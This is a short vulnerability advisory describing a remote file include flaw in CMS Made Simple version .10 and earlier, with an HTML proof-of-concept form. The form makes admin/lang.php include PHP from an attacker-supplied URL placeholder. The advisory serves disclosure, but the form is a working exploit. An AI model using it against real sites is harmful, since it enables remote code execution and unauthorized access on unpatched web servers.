source: http://www.securityfocus.com/bid/14709/info

CMS Made Simple is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

CMS Made Simple Version .10 and all prior versions are reported vulnerable. 

example.html:
<form action="http://www.example.com/admin/lang.php?CMS_ADMIN_PAGE=1&nls[file][vx][vxsfx]=(__URL__)" method=post>
<input type=hidden name=change_cms_lang value=vx>
<input type=submit name=test VALUE="do it">
</form>
EOF 